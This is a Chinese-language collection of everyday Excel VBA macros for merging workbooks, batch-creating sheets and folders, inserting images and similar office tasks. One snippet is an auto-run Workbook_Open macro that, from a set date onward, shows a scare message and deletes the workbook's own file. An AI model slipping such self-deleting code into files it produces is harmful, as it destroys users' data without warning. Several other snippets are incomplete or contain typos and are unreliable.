常用VBA代码

EXCEL单元格内容朗读方法

通过单元格位置改变出发的工作表事件
Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
'双击单元格，Excel程序会朗读单元格的文字
Target.Select
Selection.Speak
End Sub

按需求动态分配给每个人需要的工作表

姓名    项目表
张三    表一、表二
李四    表三、表一
王五    表二
Sub shishi()
最大行 = ThisWorkbook.Sheets("方案").Range("A1").CurrentRegion.Rows.Count
arr = ThisWorkbook.Sheets("方案").Range("A2:B" & 最大行)
For i = 1 To UBound(arr)
Set 工作簿 = Workbooks.Add
brr = Split(arr(i, 2), "、")
For j = LBound(brr) To UBound(brr)
ThisWorkbook.Sheets(brr(j)).Copy after:=工作簿.Sheets(Sheets.Count)
Next
Excel.Application.DisplayAlerts = False
工作簿.Sheets(1).Delete
Excel.Application.DisplayAlerts = True
工作簿.SaveAs "F:\" & arr(i, 1) & "xlsx"
工作簿.Close
Next
End Sub

按指定名称批量新建工作簿保存到指定文件夹下

Sub CreateFiles()
    Dim strPath As String, strFileName As String
    Dim i As Long, r
    On Error Resume Next
    With Application.FileDialog(msoFileDialogFolderPicker)
        '用户选择文件夹路径
        If .Show Then strPath = .SelectedItems(1) Else Exit Sub
        '如果用户为选择文件夹则退出程序
    End With
    If Right(strPath, 1) <> "\" Then strPath = strPath & "\"
    Application.ScreenUpdating = False '取消屏幕刷新
    Application.DisplayAlerts = False '取消警告提示，当有重名工作簿时直接覆盖
    r = Range("a1:a" & Cells(Rows.Count, 1).End(xlUp).Row) '数据装入数组r
    For i = 2 To UBound(r) '标题不要，因此从第2个元素开始遍历数组r
        With Workbooks.Add '新建工作簿
            .SaveAs strPath & r(i, 1), xlWorkbookDefault
            '以指定名称、默认文件类型保存工作簿
            .Close True '关闭工作簿
        End With
    Next
    Application.ScreenUpdating = True
    Application.DisplayAlerts = True
    MsgBox "创建完成。"
End Sub

按指定目录批量创建工作表

Sub NewSht()
    Dim shtActive As Worksheet, sht As Worksheet
    Dim i As Long, strShtName As String
    On Error Resume Next '当代码出错时继续运行
    Set shtActive = ActiveSheet
    For i = 2 To shtActive.Cells(Rows.Count, 1).End(xlUp).Row
    '单元格A1是标题，跳过，从第2行开始遍历工作表名称
        strShtName = shtActive.Cells(i, 1).Value
        '工作表名强制转换为字符串类型
        Set sht = Sheets(strShtName)
        '当工作簿不存在工作表Sheets(strShtName)时，这句代码会出错，然后……
        If Err Then
        '如果代码出错，说明不存在工作表Sheets(t)，则新建工作表
            Worksheets.Add , Sheets(Sheets.Count)
            '新建一个工作表，位置放在所有已存在工作表的后面
            ActiveSheet.Name = strShtName
            '新建的工作表必然是活动工作表，为之命名
            Err.Clear
            '清除错误状态
        End If
    Next
    shtActive.Activate
    '重新激活原工作表
End Sub

把同文件夹下的图片批量插入到表格自动适应中

Option Explicit
Sub 插入图片()
    Dim i, 图片插入位置
    Sheets("sheet1").Shapes.SelectAll  '选中工作表中所有的Shape对象
    Selection.Delete  '删除这些选中的对象
    i = 2
    Do While Range("A" & i) <> ""
        Set 图片插入位置 = Sheet1.Cells(i, 2)
        Sheets("sheet1").Shapes.AddPicture(ThisWorkbook.Path & "\" & Sheet1.Cells(i, 1) & ".png", True, True, 图片插入位置.Left + 2, 图片插入位置.Top + 2, 图片插入位置.Width - 4, 图片插入位置.Height - 4).Select
       '取消图片的纵横比，适应单元格大小
       '如果想改变纵横比设置True,如果高和宽分别更改设置False
        Selection.ShapeRange.LockAspectRatio = msoFalse
        i = i + 1
    Loop
    Set 图片插入位置 = Nothing
End Sub

对office文件设置自杀程序

Private Sub Workbook_Open()
    Dim dat As Date
    dat = DateSerial(2020, 1, 1)
    If Date >= dat Then
        Application.DisplayAlerts = False
        MsgBox "你是在偷看我的文件吗？" & vbCr & "别以为我不知道，我就在你身后看着你！白衣服，长头发，没有腿的那个。"
        With ThisWorkbook
            .Saved = True
            .ChangeFileAccess xlReadOnly
            Kill .FullName
            .Close
        End With
    End If
End Sub

多个Excel文件合并

Sub a()
Dim i, w1, arr
Set w2 = ActiveWorkbook
Set s2 = ActiveSheet
arr = Excel.Application.GetOpenFilename("Excel文件,*.xls*", MultiSelect:=True)
If IsArray(arr) Then
    For i = LBound(arr) To UBound(arr)
        Set w1 = Workbooks.Open(arr(i))
        For Each s1 In w1.Sheets
            s1.Copy after:=w2.Sheets(w2.Sheets.Count)
            w2.Sheets(w2.Sheets.Count).Name = Split(w1.Name, ".")(0) & s1.Name
        Next
    w1.Close
    Next
End If
End Sub

多个工作簿合并到一个工作簿。

在由多个工作簿合并到一个工作表之前，我们先把多个工作簿合并到一个工作簿。
1、新建一个工作薄，将其命名为合并后的名字，例如叫做：汇总工作簿。
2、打开此工作簿：“汇总工作簿”
3、在“汇总工作簿”下任一个工作表标签上点击右键，选择“查看代码”。
Sub 工作薄间工作表合并()
Dim FileOpen
Dim X As Integer
Application.ScreenUpdating = False
FileOpen = Application.GetOpenFilename(FileFilter:="Microsoft Excel文件(.xlsx),.xlsx", MultiSelect:=True, Title:="合并工作薄")
X = 1
While X <= UBound(FileOpen)
Workbooks.Open Filename:=FileOpen(X)
Sheets().Move After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count)
X = X + 1
Wend
ExitHandler:
Application.ScreenUpdating = True
Exit Sub
errhadler:
MsgBox Err.Description
End Sub

多个工作簿指定工作表筛选指定内容进行合并

Sub shishi()
Excel.Application.ScreenUpdating = False
Set FSO对象 = CreateObject("Scripting.FileSystemObject")
Set 文件夹 = FSO对象.GetFolder("C:\Users\hp\Desktop\网友")
For Each i In 文件夹.Files
文件名 = FSO对象.GetBaseName(i)
Set 工作簿 = Workbooks.Open(i)
Set 工作表 = 工作簿.Worksheets("Sheet1")
总行数 = 工作表.Range("A1").CurrentRegion.Rows.Count
工作表.Range("A1").AutoFilter field:=1, Criterial:=文件名
Set 合并表 = ThisWorkbook.Worksheets("Sheet1")
合并表总行数 = 合并表.Range("A1").CurrentRegion.Rows.Count + 1
工作表.Rows("2:" & 总行数).Copy 合并表.Rows(合并表总行数)
工作簿.Close 0
Next

访问当前工作簿属性

Sub a()
    'ThisWorkbook是代码所在的工作簿对象
    Range("B2") = ThisWorkbook.Name        '获得工作簿名称
    Range("B3") = ThisWorkbook.Path          '获得工作簿文件所在的路径
    Range("B4") = ThisWorkbook.FullName '获得带路径的工作簿名称
End Sub

给当前工作簿重命名

Sub a()
Excel.Application.DisplayAlerts = False
ActiveWorkbook.SaveAs Filename:="C:\Users\hp\Desktop\何文华.xlsx"
Excel.Application.DisplayAlerts = True
End Sub

工作簿打开时就提醒过生日的人名

将这段代码放到工作簿事件中，让工作簿打开时就提醒过生日的人名
Sub a()
Dim i
i = 2: j = 1
Do While Range("A" & i) <> ""
    If Month(Range("C" & i)) = Month(Date) And Day(Range("C" & i)) = Day(Date) Then
        MsgBox "今天是" & Range("A" & i) & "的生日"
        Sheets("生日名单").Range("A" & j) = Range("A" & i)
        j = j + 1
    End If
    i = i + 1
Loop
End Sub

获得当月的最后一天

1月31日
2月28日
3月31日
4月30日
5月31日
6月30日
7月31日
8月31日
9月30日
10月31日
11月30日
12月31日
  Sub Serial()
      Dim DateStr As Byte
      DateStr = Day(DateSerial(Year(Date), Month(Date) + 1, 0))
      MsgBox "本月的最后一天是" & Month(Date) & "月" & DateStr & "号"
  End Sub

获得在对话框中选中任一的文件的路径

Sub a()
Dim i
i = Excel.Application.GetOpenFilename
If i = False Then
    MsgBox "没有选择任何文件！"
    Exit Sub
Else
    Range("A1") = i
End If
End Sub

获取多层文件夹下文件名并新建超链接

Sub AutoAddLink()
    Dim strFldPath As String
    With Application.FileDialog(msoFileDialogFolderPicker)
    '用户选择指定文件夹
        .Title = "请选择指定文件夹。"
        If .Show Then strFldPath = .SelectedItems(1) Else Exit Sub
        '未选择文件夹则退出程序，否则将地址赋予变量strFldPath
    End With
    Application.ScreenUpdating = False
    '关闭屏幕刷新
    Range("a:b").ClearContents
    Range("a1:b1") = Array("文件夹", "文件名")
    Call SearchFileToHyperlinks(strFldPath)
    '调取自定义函数SearchFileToHyperlinks
    Range("a:b").EntireColumn.AutoFit
    '自动列宽
    Application.ScreenUpdating = True
    '重开屏幕刷新
End Sub
Function SearchFileToHyperlinks(ByVal strFldPath As String) As String
    Dim objFld As Object
    Dim objFile As Object
    Dim objSubFld As Object
    Dim strFilePath As String
    Dim lngLastRow As Long
    Dim intNum As Integer
    Set objFld = CreateObject("Scripting.FileSystemObject").GetFolder(strFldPath)
    '创建FileSystemObject对象引用
    For Each objFile In objFld.Files
    '遍历文件夹内的文件
        lngLastRow = Cells(Rows.Count, 1).End(xlUp).Row + 1
        strFilePath = objFile.Path
        intNum = InStrRev(strFilePath, "\")
        '使用instrrev函数获取最后文件夹名截至的位置
        Cells(lngLastRow, 1) = Left(strFilePath, intNum - 1)
        '文件夹地址
        Cells(lngLastRow, 2) = Mid(strFilePath, intNum + 1)
        '文件名
        ActiveSheet.Hyperlinks.Add Anchor:=Cells(lngLastRow, 2), _
                    Address:=strFilePath, ScreenTip:=strFilePath
        '添加超链接
    Next objFile
    For Each objSubFld In objFld.SubFolders
    '遍历文件夹内的子文件夹
        Call SearchFileToHyperlinks(objSubFld.Path)
    Next objSubFld
    Set objFld = Nothing
    Set objFile = Nothing
    Set objSubFld = Nothing
End Function

将Word表格批量写入Excel

Sub GetWordTable()
    Dim WdApp As Object
    Dim objTable As Object
    Dim objDoc As Object
    Dim strPath As String
    Dim shtEach As Worksheet
    Dim shtSelect As Worksheet
    Dim i As Long
    Dim j As Long
    Dim x As Long
    Dim y As Long
    Dim k As Long
    Dim brr As Variant
    Set WdApp = CreateObject("Word.Application")
    With Application.FileDialog(msoFileDialogFilePicker)
        .Filters.Add "Word文件", "*.doc*", 1
        '只显示word文件
        .AllowMultiSelect = False
        '禁止多选文件
        If .Show Then strPath = .SelectedItems(1) Else Exit Sub
    End With
    Application.ScreenUpdating = False
    Application.DisplayAlerts = False
    Set shtSelect = ActiveSheet
    '当前表赋值变量shtSelect，方便代码运行完成后叶落归根回到开始的地方
    For Each shtEach In Worksheets
    '删除当前工作表以外的所有工作表
        If shtEach.Name <> shtSelect.Name Then shtEach.Delete
    Next
    shtSelect.Name = "孙兴华"
    '这句代码不是无聊，作用在于……你猜……
    '……其实是避免下面的程序工作表名称重复
    Set objDoc = WdApp.documents.Open(strPath)
    '后台打开用户选定的word文档
    For Each objTable In objDoc.tables
    '遍历文档中的每个表格
        k = k + 1
        Worksheets.Add after:=Worksheets(Worksheets.Count)
        '新建工作表
        ActiveSheet.Name = k & "表"
        x = objTable.Rows.Count
        'table的行数
        y = objTable.Columns.Count
        'table的列数
        ReDim brr(1 To x, 1 To y)
        '以下遍历行列，数据写入数组brr
        For i = 1 To x
            For j = 1 To y
                brr(i, j) = "'" & Application.Clean(objTable.cell(i, j).Range.Text)
                'Clean函数清除制表符等
                '半角单引号将数据统一转换为文本格式，避免身份证等数值变形
            Next
        Next
        With [a1].Resize(x, y)
            .Value = brr
            '数据写入Excel工作表
            .Borders.LineStyle = 1
            '添加边框线
        End With
    Next
    shtSelect.Select
    objDoc.Close: WdApp.Quit
    Application.ScreenUpdating = True
    Application.DisplayAlerts = True
    Set objDoc = Nothing
    Set WdApp = Nothing
    MsgBox "共获取：" & k & "张表格的数据。"
End Sub

结合工作表名在第一列自动生成序列号

Sub shishi()
For Each 工作表 In Worksheets
'Debug.Print Format(工作表.Name,"O0")
i = 2
Do While Sheets(工作表.Name).Range("B" & i) <> ""
Sheets(工作表.Name).Range("A" & i) = "2021年" & Format(工作表.Name, "00") & Format(i - 1, "00") & "号"
i = i + 1
Loop
Next
End Sub

批量插入复选框

Sub txt()
'指定插入复选框的区域
For Each RG In Range("B2:B15")
   '插入复选框CheckBoxes，它的左边距、顶点、宽度、高度都引用RG单元格的
    ActiveSheet.CheckBoxes.Add(RG.Left, RG.Top, RG.Width, RG.Height).Select
   '复选框的文本为“是”,值为空，链接的单元格是RG的位置
    With Selection
        .Characters.Text = ""
        .Value = xlOff
        .LinkedCell = RG.Address
    End With
   '把RG单元格的字体颜色变成白色，否则打勾会显示True和False
    RG.Font.ThemeColor = xlThemeColorDark1
Next RG
End Sub

批量创建文件夹

 Sub 创建空文件夹提示成功()
 Dim shtActive As Worksheet
 Dim i As Long, strShtName As String
    Set shtActive = ActiveSheet
 For i = 1 To shtActive.Cells(Rows.Count, 1).End(xlUp).Row
    '单元格A1是标题，跳过，从第2行开始遍历工作表名称
 strShtName = shtActive.Cells(i, 1).Value
        '工作表名强制转换为字符串类型
Dim filename  As String
filename = strShtName
If filename = "False" Or filename = "" Then Exit Sub
If Len(Dir(filename, vbDirectory)) > 0 Then
    MsgBox "空文件夹" & filename & "已存在!"
Else
    MkDir "F:\ " & filename   '指定路径才好保存
    MsgBox "空文件夹" & filename & "创建成功!"
End If
Next
End Sub
Sub 创建空文件夹提示数量()
 Dim shtActive As Worksheet
 Dim i As Long, strShtName As String
    Set shtActive = ActiveSheet
 For i = 1 To shtActive.Cells(Rows.Count, 1).End(xlUp).Row
    '单元格A1是标题，跳过，从第2行开始遍历工作表名称
 strShtName = shtActive.Cells(i, 1).Value
        '工作表名强制转换为字符串类型
On Error GoTo 失败
Dim filename  As String
filename = strShtName
If filename = "" Then
MsgBox "创建失败，字段为空"
            Exit Sub
Else
    MkDir "C:\Users\hp\Desktop\" & filename
    '删除空文件夹【rm】
    '创建空文件夹【mk】
    k = k + 1
End If
Next
MsgBox "您已经创建了" & k & "个空文件夹"
Exit Sub
失败: MsgBox "文件夹已存在！请检查！"
End Sub

批量对齐图片

Sub 批量对齐图片()
    Dim sh As Shape
    For Each sh In ActiveSheet.Shapes
        sh.Left = sh.TopLeftCell.Left
    Next
End Sub

批量给所有工作表的表格【加内外边框】

Sub a()
    Dim r1 As Range
       For i = 1 To Sheets.Count
        Set r1 = Sheets(i).Range("A1").CurrentRegion
    With r1.Borders(xlInsideHorizontal) '内部水平
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = 1
    End With
    With r1.Borders(xlInsideVertical) '内部垂直
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = 1
    End With
    r1.BorderAround xlContinuous, xlThin, 1
    Set r1 = Nothing
    Next
End Sub

批量获取指定文件夹下文件名并新建超链接

Sub GetFiles()
    Dim strPath As String, strFileName As String, k As Long
    With Application.FileDialog(msoFileDialogFolderPicker)
        '用户选择文件夹路径
        If .Show Then strPath = .SelectedItems(1) Else Exit Sub
        '如果用户为选择文件夹则退出程序
    End With
    If Right(strPath, 1) <> "\" Then strPath = strPath & "\"
    Application.ScreenUpdating = False '取消屏幕刷新
    strFileName = Dir(strPath & "*.*")
    'dir+通配符获取首个文件名
    '如果一个文件也无，则返回空
    Columns(1).Clear: Cells(1, 1) = "目录": k = 1 '清除当前工作表A列数据
    Do While strFileName <> ""
        k = k + 1 '累加文件个数
        ActiveSheet.Hyperlinks.Add Cells(k, 1), strPath & strFileName
        '创建超链接
        strFileName = Dir
        '第2次调用Dir函数，未使用任何参数，则同目录下的下一个文件名
    Loop
    Application.ScreenUpdating = True
    MsgBox "一共读取了：" & k-1 & "个文件名。"
End Sub

批量将图片插入到表格中

Sub InsertPic()
    Dim arr, i&, k&, n&, b As Boolean
    Dim strPicName$, strPicPath$, strFdPath$, shp As Shape
    Dim rngData As Range, rngEach As Range, rngWhere As Range, strWhere As String
    'On Error Resume Next
    '用户选择图片所在的文件夹
    With Application.FileDialog(msoFileDialogFolderPicker)
       If .Show Then strFdPath = .SelectedItems(1) Else: Exit Sub
    End With
    If Right(strFdPath, 1) <> "\" Then strFdPath = strFdPath & "\"
    Set rngData = Application.InputBox("请选择图片名称所在的单元格区域", Type:=8)
    '用户选择需要插入图片的名称所在单元格范围
    Set rngData = Intersect(rngData.Parent.UsedRange, rngData)
    'intersect语句避免用户选择整列单元格，造成无谓运算的情况
    If rngData Is Nothing Then MsgBox "选择的单元格范围不存在数据！": Exit Sub
    strWhere = InputBox("请输入图片偏移的位置，例如上1、下1、左1、右1", , "右1")
    '用户输入图片相对单元格的偏移位置。
    If Len(strWhere) = 0 Then Exit Sub
    x = Left(strWhere, 1)
    '偏移的方向
    If InStr("上下左右", x) = 0 Then MsgBox "你未输入偏移方位。": Exit Sub
    y = Val(Mid(strWhere, 2))
    '偏移的值
    Select Case x
        Case "上"
        Set rngWhere = rngData.Offset(-y, 0)
        Case "下"
        Set rngWhere = rngData.Offset(y, 0)
        Case "左"
        Set rngWhere = rngData.Offset(0, -y)
        Case "右"
        Set rngWhere = rngData.Offset(0, y)
    End Select
    Application.ScreenUpdating = False
    rngData.Parent.Parent.Activate '用户选定的激活工作簿
    rngData.Parent.Select
    For Each shp In ActiveSheet.Shapes
    '如果旧图片存放在目标图片存放范围则删除
        If Not Intersect(rngWhere, shp.TopLeftCell) Is Nothing Then shp.Delete
    Next
    x = rngWhere.Row - rngData.Row
    y = rngWhere.Column - rngData.Column
    '偏移的坐标
    arr = Array(".jpg", ".jpeg", ".bmp", ".png", ".gif")
    '用数组变量记录五种文件格式
    For Each rngEach In rngData
    '遍历选择区域的每一个单元格
        strPicName = rngEach.Text
        '图片名称
        If Len(strPicName) Then
        '如果单元格存在值
            strPicPath = strFdPath & strPicName
            '图片路径
            b = False
            '变量标记是否找到相关图片
            For i = 0 To UBound(arr)
            '由于不确定用户的图片格式，因此遍历图片格式
                If Len(Dir(strPicPath & arr(i))) Then
                '如果存在相关文件
                    Set shp = ActiveSheet.Shapes.AddPicture( _
                        strPicPath & arr(i), False, True, _
                        rngEach.Offset(x, y).Left + 5, _
                        rngEach.Offset(x, y).Top + 5, _
                        20, 20)
                    shp.Select
                    With Selection
                        .ShapeRange.LockAspectRatio = msoFalse
                        '撤销锁定图片纵横比
                        .Height = rngEach.Offset(x, y).Height - 10 '图片高度
                        .Width = rngEach.Offset(x, y).Width - 10 '图片宽度
                    End With
                    b = True '标记找到结果
                    n = n + 1 '累加找到结果的个数
                    Range("a1").Select: Exit For '找到结果后就可以退出文件格式循环
                End If
            Next
            If b = False Then k = k + 1 '如果没找到图片累加个数
        End If
    Next
    Application.ScreenUpdating = True
    MsgBox "共处理成功" & n & "个图片，另有" & k & "个非空单元格未找到对应的图片。"
End Sub

批量将图片插入到单元格批注中

Sub AddCommentPic()
    Dim arr, i&, k&, n&, b As Boolean
    Dim strPicName$, strPicPath$, strFdPath$
    Dim rngData As Range, rngEach As Range
    'On Error Resume Next
    '用户选择图片所在的文件夹
    With Application.FileDialog(msoFileDialogFolderPicker)
       If .Show Then strFdPath = .SelectedItems(1) Else: Exit Sub
    End With
    If Right(strFdPath, 1) <> "\" Then strFdPath = strFdPath & "\"
    Set rngData = Application.InputBox("请选择需要插入图片到批注中的单元格区域", Type:=8)
    '用户选择需要插入图片到批注中的单元格或区域
    If rngData.Count = 0 Then Exit Sub
    Set rngData = Intersect(rngData.Parent.UsedRange, rngData)
    'intersect语句避免用户选择整列单元格，造成无谓运算的情况
    If rngData Is Nothing Then MsgBox "选择单元格不能全为空。": Exit Sub
    arr = Array(".jpg", ".jpeg", ".bmp", ".png", ".gif")
    '用数组变量记录五种文件格式
    Application.ScreenUpdating = False
    For Each rngEach In rngData
    '遍历选择区域的每一个单元格
        If Not rngEach.Comment Is Nothing Then rngEach.Comment.Delete  '删除旧的批注
        strPicName = rngEach.Text '图片名称
        If Len(strPicName) Then '如果单元格存在值
            strPicPath = strFdPath & strPicName '图片路径
            b = False 'pd变量标记是否找到相关图片
            For i = 0 To UBound(arr)
            '由于不确定用户的图片格式，因此遍历图片格式
                If Len(Dir(strPicPath & arr(i))) Then
                '如果存在相关文件
                    rngEach.AddComment '增加批注
                    With rngEach.Comment
                        .Visible = True '批注可见
                        .Text Text:=""
                        .Shape.Select True '选中批注图形
                        Selection.ShapeRange.Fill.UserPicture strPicPath & arr(i)
                        '插入图片到批注中
                        .Shape.Height = 150 '图形的高度，可以根据需要自己调整
                        .Shape.Width = 150 '图形的宽度，可以根据需要自己调整
                        .Visible = False '取消显示
                    End With
                    b = True '标记找到结果
                    n = n + 1 '累加找到结果的个数
                    Exit For '找到结果后就可以退出文件格式循环
                End If
            Next
            If b = False Then k = k + 1  '如果没找到图片累加个数
        End If
    Next
    MsgBox "共处理成功" & n & "个图片，另有" & k & "个非空单元格未找到对应的图片。"
    Application.ScreenUpdating = True
End Sub

批量取消工作表的隐藏

Sub unShtVisible()
    Dim sht As Worksheet
    For Each sht In Worksheets '遍历工作表，设置可见
        sht.Visible = xlSheetVisible
    Next
End Sub

批量删除宏代码

  Sub DelMacro()
      Dim Wb As Workbook
      Dim FileName As String
      Dim Vbc As VBComponent
      FileName = ThisWorkbook.Path & "\DelMacro.xls"
      Application.EnableEvents = False
      Set Wb = Workbooks.Open(FileName)
      For Each Vbc In Wb.VBProject.VBComponents
          If Vbc.Type <> vbext_ct_Document Then
              If Vbc.Name = "NowModule" Then
                  Vbc.CodeModule.DeleteLines 3, Vbc.CodeModule.CountOfLines - 4
              Else
                  Wb.VBProject.VBComponents.Remove Vbc
              End If
          End If
      Next
      'Wb.Close True
      Application.EnableEvents = True
  End Sub

批量删除所有表格的文字和格式，只留空表

Sub 宏1()
    '删除所有表格的文字和格式，只留空表
Dim WS As Worksheet

    For Each WS In Worksheets
      WS.UsedRange.Clear
    Next
End Sub

批量提取表名

Sub 提取表名()
 Dim i, j
 i = 2
 For Each j In Worksheets
 Range("A" & i) = j.Name
 i = i + 1
 Next
End Sub

批量提取照片属性

Sub 提取照片属性()
    Dim fd As FileDialog
    Set fd = Application.FileDialog(msoFileDialogFolderPicker)
    If fd.Show = -1 Then GetDirectory = fd.SelectedItems(1)
    Dim Item As Long, RowCount As Long, i As Long
    Dim FileName As Object, ObjShell As Object, ObiFolder As Object
    Set ObjShell = CreateObject("shell.Application")
    Set ObiFolder = ObjShell.Namespace(GetDirectory)
    On Error Resume Next
    Application.ScreenUpdating = False
        RowCount = 1
       For Each FileName In ObiFolder.Items
        Item = 0
        RowCount = RowCount + 1
        For i = 0 To 33
            If i < 6 Or i = 12 Or (i > 29 And i < 33) Then
                Item = Item + 1
                Cells(RowCount, Item) = ObiFolder.getdetailsof(FileName, i)
                If RowCount = 2 Then Cells(1, Item) = ObiFolder.getdetailsof(ObiFolder.Items, i)
            End If
        Next i
    Next FileName
    Set fd = Nothing
    Application.ScreenUpdating = True
End Sub

批量提取指定路径下带【任意扩展名】的文件名

Sub FileDir()
    Dim p$, f$, k&
    '获取用户选择文件夹的路径
    With Application.FileDialog(msoFileDialogFolderPicker)
   '选择文件夹
        If .Show Then
            p = .SelectedItems(1)
            '选择的文件路径赋值变量P
        Else
            Exit Sub
            '如果没有选择保存路径，则退出程序
        End If
    End With
    If Right(p, 1) <> "\" Then p = p & "\"
    f = Dir(p & "*.*")
    '返回变量P指定路径下带任意扩展名的文件名
    '如果有超过一个文件存在，将返回第一个找到的文件名
    '如果一个文件都没有，则返回空
    [a:a].ClearContents '清空A列数据
    [a1] = "目录"
    k = 1
    Do While f <> ""
    '如果文件名不为空，则……
        k = k + 1
        '累加文件个数
        Cells(k, 1) = f
        f = Dir
        '第二次调用Dir函数，但不带任何参数，则将返回同一目录下的下一个文件。
    Loop
    MsgBox "OK"
End Sub

批量图片自适应

Sub 图片自动适应单元格()
Dim 图片  As Shape
For Each 图片 In ActiveSheet.Shapes
    With 图片
        .LockAspectRatio = True 'LockAspectRatio = False 撑满单元格,会变形，'True '适应单元格大小
        .Left = .TopLeftCell.Left
        .Top = .TopLeftCell.Top
        .Width = .TopLeftCell.Width
        .Height = .TopLeftCell.Height
    End With
Next
End Sub

批量新建工作表

Sub 新建5张工作表()
    Dim i As Byte
    For i = 1 To 5 Step 1 
        Worksheets.Add
    Next
End Sub

取消复杂的合并单元格

Sub UnMergeRange2() '取消合并单元格
Dim MaxRow As Integer '
Dim Rng As Range
Dim x%, y%, m%, n%, i%
Dim Rng2 As Range
    On Error Resume Next
    Set Rng = Application.InputBox("请选择需要取消合并单元格的区域：", _
                "区域选择", , , , , , 8)

    For x = 1 To Rng.Rows.Count
        For y = 1 To Rng.Columns.Count
            Set Rng2 = Rng.Cells(x, y)
            i = Rng2.MergeArea.Count
            If i > 1 Then
                m = Rng2.MergeArea.Rows.Count
                n = Rng2.MergeArea.Columns.Count
                Rng2.UnMerge '取消合并单元格
                Rng2.Resize(m, n).Value = Rng2.Value
            End If
        Next
    Next

End Sub

显示动态当前时间

Sub 动态时间()
ActiveSheet.Range("A1").Value = Format(Now, "hh:mm:ss")
Application.OnTime Now + TimeValue("00:00:01"), "动态时间"
End Sub

新建工作簿命名到桌面

Sub a()
Excel.Application.DisplayAlerts = False
Workbooks.Add
i = InputBox("输入名称")
ActiveWorkbook.SaveAs Filename:="C:\Users\hp\Desktop\ " & i & ".xlsx"
ActiveWorkbook.Close
Excel.Application.DisplayAlerts = True
End Sub

新建一个文件夹

Sub 新建文件夹_()
Dim sfolder  As String
sfolder = Application.InputBox(prompt:="请输入新建文件夹的名称:", _
Title:="输入文件夹名称", Type:=2)
If sfolder = "False" Or sfolder = "" Then Exit Sub
If Len(Dir(sfolder, vbDirectory)) > 0 Then
    MsgBox "文件夹" & sfolder & "已存在!"
Else
    MkDir sfolder
    MsgBox "文件夹" & sfolder & "创建成功!"
End If
End Sub

修改单元格内容会被记录到批注

'在所有过程之前用Dim语句定义的变量r1是模块级变量，应模块中所有的过程都可以使用它
Dim r1 '定义一个模块给变量，用户保存单元格的数据
'第一个事件过程，用于记录被更改前单元格中保存的数据
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
If Target.Cells.Count <> 1 Then Exit Sub '选中多个单元格时退出程序
If Target.Formula = "" Then '根据选中单元格中保存的数据，确定给变量r1赋什么值
    r1 = "空"
Else
    r1 = Target.Text
End If
End Sub
'第二个事件过程，用于批注记录单元格修改前后的信息
Private Sub Worksheet_Change(ByVal Target As Range)
If Target.Cells.Count <> 1 Then Exit Sub
'定义变量保存单元格修改后的内容
Dim r2
'判断单元格是否被修改为空单元格
If Target.Formula = "" Then
    r2 = "空"
Else
    r2 = Target.Formula
End If
'如果单元格修改前后的内容一样则退出程序
If r1 = r2 Then Exit Sub
'定义一个批注变量
Dim r3
'定义一个变量保存批注内容
Dim r4
'将被修改单元格的批注赋给变量r3
Set r3 = Target.Comment
'如果单元格中没有批注则新建批注
If r3 Is Nothing Then Target.AddComment
'将批注的内容保存到变量r4中
r4 = Target.Comment.Text
'重新修改批注的内容=原批注内容+当前日期和时间+原内容+修改后的新内容
Target.Comment.Text Text:=r4 & Chr(10) & Format(Now(), "yyyy-mm-dd hh:mm") & "原内容:" & r1 & "修改为:" & r2
'根据批注内容自动调整批注大小
Target.Comment.Shape.TextFrame.AutoSize = True
End Sub

选中行或列会填充颜色

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)
    Application.ScreenUpdating = False
    Cells.Interior.ColorIndex = -4142 '取消单元格原有填充色，但不包含条件格式产生的颜色。
    Rows(Target.Row).Interior.ColorIndex = 33 '活动单元格整行填充颜色
    Columns(Target.Column).Interior.ColorIndex = 33 '活动单元格整列填充颜色
    Application.ScreenUpdating = True
End Sub

一次性按照字母表升序来对工作表进行排序

'述代码是按照字母表升序来对工作表进行排序的，如果要按降序排序，将代码中的小于号改为大于号即可。
Sub 字母升序()
    Excel.Application.ScreenUpdating = False
    Dim 工作表数量,i,j
      On Error Resume Next
    工作表数量 = Sheets.Count
    If 工作表数量 = 1 Then End
    For i = 1 To 工作表数量 - 1
        For j = i + 1 To 工作表数量
            '大小写转换，如果第2个表比第1个小，第2个表移动到第1个表前面
            If UCase(Sheets(j).Name) < UCase(Sheets(i).Name) Then
                Sheets(j).Move Before:=Sheets(i)
            End If
        Next
    Next
    Excel.Application.ScreenUpdating = True
End Sub

Sub SortSheetsTabName()
Application.ScreenUpdating = False
Dim ShCount As Integer, i As Integer, j As Integer
ShCount = Sheets.Count
 For i = 1 To ShCount - 1
 For j = i + 1 To ShCount
 If Sheets(j).Name < Sheets(i).Name Then
 Sheets(j).Move before:=Sheets(i)
 End If
 Next j
 Next i
Application.ScreenUpdating = True
End Sub

一次性保护所有的工作表

如果你保护了你所有的工作表，那么你只需要修改一下代码，就可以取消所有工作表的保护。

Sub ProtectAllSheets()
Dim ws As Worksheet
Dim password As String
'用你想要的密码替换Test123
password = "Test123"
 For Each ws In Worksheets
 ws.Protect password:=password
 Next ws
End Sub

Sub ProtectAllSheets()
 Dim ws As Worksheet
 For Each ws In Worksheets
 ws.Protect
 Next ws
End Sub

一次性电话号码添加分隔符

Sub 电话号码添加分隔符() 
    '用正则表达式替换更简单
arr = ActiveSheet.Range("a1").CurrentRegion
MsgBox "第一列第二行开始修改"
For x = 2 To UBound(arr)
    For y = 1 To UBound(arr, 2)
        If IsNumeric(arr(x, y)) Then
            s = arr(x, y)
            s1 = Mid(s, 1, 3)
            s2 = Mid(s, 4, 4)
            s3 = Mid(s, 8, 4)
            arr(x, y) = s1 & "-" & s2 & "-" & s3
        End If
    Next y
Next x
[a1].Resize(UBound(arr), UBound(arr, 2)) = arr
Cells.EntireColumn.AutoFit
End Sub

一次性高亮显示单元格区域（聚光灯）

突出显示活动单元格的行和列(1)
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
 Cells.Interior.ColorIndex = xlNone
 If Target.Count > 1 Then Set Target = Target.Cells(1)
 Target.EntireColumn.Interior.ColorIndex = 37
 Target.EntireRow.Interior.ColorIndex = 37
End Sub

突出显示活动单元格的行和列(2)
 Private Sub Worksheet_SelectionChange(ByVal Target As Range)
 Dim rng As Range
   Cells.Interior.ColorIndex = xlNone
